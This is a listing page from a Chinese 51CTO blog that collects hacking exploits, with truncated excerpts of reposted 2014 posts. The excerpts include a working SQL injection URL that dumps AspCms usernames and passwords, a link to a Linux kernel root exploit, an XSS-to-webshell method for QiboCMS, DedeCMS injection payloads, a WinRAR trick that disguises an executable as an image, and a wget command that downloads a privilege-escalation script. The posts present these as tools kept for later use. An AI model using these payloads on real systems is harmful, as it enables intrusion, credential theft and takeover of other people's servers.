KBK影院的博客_安全,病毒木马,黑客攻防,exp,0day,工具搜集(4)_51CTO博客

鸿蒙开发者社区

公众号矩阵

移动端

视频课免费课排行榜短视频直播课软考学堂

全部课程软考信创认证华为认证厂商认证 IT技术 PMP项目管理免费题库

在线学习

文章资源问答课堂专栏直播

51CTO

鸿蒙开发者社区

51CTO技术栈

51CTO官微

51CTO学堂

51CTO博客

CTO训练营

鸿蒙开发者社区订阅号

51CTO软考

51CTO学堂APP

51CTO学堂企业版APP

鸿蒙开发者社区视频号

51CTO软考题库

51CTO博客

首页
关注
排行榜
精品课程
免费资料
软考题库

科目全、试题精、讲解专业，扫码免费刷

搜索历史清空

热门搜索

查看【】的结果
写文章
创作中心
登录注册

aspcms各版本漏洞0day集合

admin/_content/_About/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user&n

aspcms

转载精选 2014-11-03 19:21:44 10000+阅读

linux root exp for 2.6.37-3.x.x x86_64

国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞，成功利用该漏洞可能获得特权用户，还算新鲜，转来给大家看看。比较好用的~http://fucksheep.org/~sd/warez/semtex.clinux 2.6.37-3.x.x x86_64, ~100 LOC/* * linux 2.6.37-3.x.x x86_64,

linux

include

update

转载精选 2014-11-03 19:16:43 860 阅读

齐博CMS_V7通杀xss（指哪儿打哪儿）可getshell

0x01_XSS齐博采用的富文本编辑器为CKeditor，其实本身在其他常见输入点已经做了过滤，但是在fuzz测试的时候发现编辑器在编辑源码提交后未过滤，所以整套系统适用编辑器的地方均可利用。比如短消息处（可指定攻击目标用户）发布文章等地方也用到这个编辑器，同样可以利用0x02_getshell 齐博cms可以在后台开启静态模式，但是静态文件后缀名可自己定义，换成

齐博CMS_V7

转载精选 2014-11-03 19:09:52 787 阅读

DedeCMS多个漏洞exp汇总，以备后用

爆路径：data/mysql_error_trace.inc一、dedecms plus/search.php注入漏洞修复及利用0×1:http://www.nxadmin.com/plus/search.php?keyword=as&typeArr[ uNion ]=a报错如果为：Safe Alert: Request Error step 2 !则利用以下exp:h

dede

原创 2014-11-03 18:44:43 10000+阅读

WinrRar4.2 扩展名欺骗0Day

1.首先我们压缩一个exe可执行文件,是个弹出PWNED的小程序2.用winrar的zip模式压缩exe文件 3.把压缩的zip文件载入hex软件,找到文件名,更改第二个文件名后缀为 jpg,保存zip文件 4.打开zip,双击里面的图片,将允许你的exe文件转载文章请注明，转载自：小马's Blog http://www.i0day.com

图片

winrar

扩展名

文章

执行文件

转载精选 2014-11-03 18:28:23 695 阅读

linux 自动提权perl脚本

linux各种版本的 exp地址:http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/var.txt使用demoyaseng@UAUC:~$ wget http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/var.txt -O root.plyaseng@UAUC:

linux自动提权脚本

转载精选 2014-11-03 18:06:25 900 阅读

欢迎

首页
1
2
3
4
共96条记录